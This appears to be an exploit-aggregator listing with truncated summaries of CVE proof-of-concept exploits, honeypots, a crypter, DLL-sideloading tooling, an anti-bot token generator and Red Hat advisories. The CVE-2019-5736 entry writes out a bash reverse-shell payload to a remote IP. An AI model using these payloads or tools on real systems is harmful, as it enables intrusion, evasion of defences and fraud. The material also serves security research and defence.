CVE-2025-8088

CVE-2025-8088 PoC Educational Use Only Details about this CVE can be found at: https://nvd.nist.gov/vuln/detail/CVE-2025-8088 ⚠️ Warning: This repository contains a proof-of-concept PoC for CVE-2025-8088. It is intended for educational purposes, research, and lab environments only. Do not use this...

xssless

xssless 一款基于 Python 的自动化 XSS 载荷生成器。 用法 1. 使用 Burp 代理 记录请求 2. 选择要生成的请求，右键点击并选择 "Save items" 3. 使用 xssless 生成载荷：./xssless.py burpexportfile 4. 搞定！ 更详细的教程请参见此处 功能特性 从导入的 Burp 代理请求自动生成 XSS 载荷 载荷完全异步，不会冻结用户浏览器 载荷已优化，但建议使用第三方工具进行压缩 可通过 -p 选项轻松提取和设置 CSRF 令牌 支持 POST multipart，以及通过 -f 选项进行 XSS 文件上传...

CVE-2026-39107

CVE-2026-39107: Cross-Site Scripting XSS in Kimi AI v1.0 Description A Cross-Site Scripting XSS vulnerability exists in the Kimi AI v1.0 web interface's 'Preview' feature. The application fails to properly sanitize or encode HTML/JavaScript payloads generated by the AI model. When a user switches...

react2shell-honeypot

React2Shell honeypot My attempt to make honeypot for React2Shell vulnerability All attack payloads are written to logs/ip folder Usage root@kitploit: go build Optionally: export GINMODE=release react2shell-honeypot -addr localhost:8080 Tested on scanners: assetnote/react2shell-scanner...

CVE-2022-4616-POC

CVE-2022-46169 Pseudo Shell Description This Python script serves as a helper tool to streamline the process of exploiting the CVE-2022-46169 vulnerability. It starts an HTTP server that listens for incoming requests and provides a simple interface for the user to input commands. These commands a...

citrix-honeypot

Citrix ADC NetScaler Honeypot Detects and logs payloads for CVE-2019-19781 Shitrix / Citrixmash Logs failed login attempts Serves content and headers taken from real appliance in order to increase chance of indexing on search engines e.g. google, shodan etc. Installation Precompiled Precompiled...

CVE-2025-1302_jsonpath-plus_RCE

CVE-2025-1302 JSONPath-Plus RCE PoC PoC Script Name: poc.py A proof-of-concept exploit script for CVE-2025-1302, which targets an RCE vulnerability in the jsonpath-plus library. When run against a vulnerable service endpoint, the script attempts to trigger remote code execution via a JSONPath...

CVE-2024-26169-Detail-1

CVE-2017-11882-metasploit This is a Metasploit module which exploits CVE-2017-11882 using the POC below: https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about. Installation 1. Copy the cve201711882.rb to /usr/share/metasploit-framework/modules/exploits/windows/local...

Important: Red Hat Security Advisory: redis security update

An update for redis is now available for Red Hat Enterprise Linux 9.4 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

CVE-2023-33408

CVE-2023-33408 Minical 1.0.0 is vulnerable to Stored Cross-Site Scripting XSS Vendor: https://github.com/minical/minical Demo Application: https://demo.minical.io/ PoC Step 1: Log in to the Minical Application and Navigate to Room-Room Status. Step 2: Click on the Edit Room Note option and enter...

Trust-Decision-Security

Trust Decision Solver - Reverse Engineered This software lets you Generate infinite dynamic fingerprints Generate infinite TD pass tokens with no detection Some of the web securities flaws include: TLS fingerprint checks not present on token domain However TLS checks present on retail site domain...

Important: Red Hat Security Advisory: redis security update

An update for redis is now available for Red Hat Enterprise Linux 9.2 Update Services for SAP Solutions. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is...

CVE-2017-9779

Automatic execution Payload From Windows By Path Users :: What is ? Cmder Cmder is a software package created out of pure frustration over the absence of nice console emulators on Windows. It is based on amazing software, and spiced up with the Monokai color scheme and a custom prompt layout,...

BumbleCrypt

BumbleCrypt A Bumblebee-inspired Crypter Background The BumbleCrypt is inspired by Bumblebee's crypter, in Bumblebee's case the main Bumblebee DLL is been loaded in the memory and executed in the following way: Decrypts and writes the payload in the Heap Hooks three NtApi's - NtOpenFile,...

NimDllSideload

Nim DLL Sideloading This repo allows you to easily generate Nim DLLs you can use sideloading/proxy loading. If you're unfamiliar with what DLL sideloading is, take a gander at this blog post. How do I use this? Put the legit DLL or multiple DLLs you want to proxy into the build directory of this...

ManualRsrcDataFetching

ManualRsrcDataFetching: una función para reemplazar las APIs de Windows FindResource, LoadResource, LockResource y SizeofResource. Nota: Payload.ico es un shellcode calc x64...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

CVE-2014-6287

Rejetto HttpFileServer 2.3.x - Remote Command Execution CVE-2014-6287 🚨 About the Exploit This is a proof-of-concept exploit for the well-known Remote Command Execution vulnerability in Rejetto HttpFileServer HFS v2.3.x , identified as CVE-2014-6287. By abusing the vulnerable search functionality...

CVE-2017-8759

Exploit tool CVE-2017-8759 Exploit tool CVE-2017-8759 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. It could generate a malicious RTF file and deliver metasploit / meterpreter / other payload to victim...

CVE-2021-34527

CVE-2021-34527 PrintNightmare PoC 👾 📝 Description This simple Python script allows you to send a payload to a target IP address and port using the SMB protocol. It's designed to demonstrate the use of an SMB exploit payload for educational purposes. The payload is a hard-coded SMB message...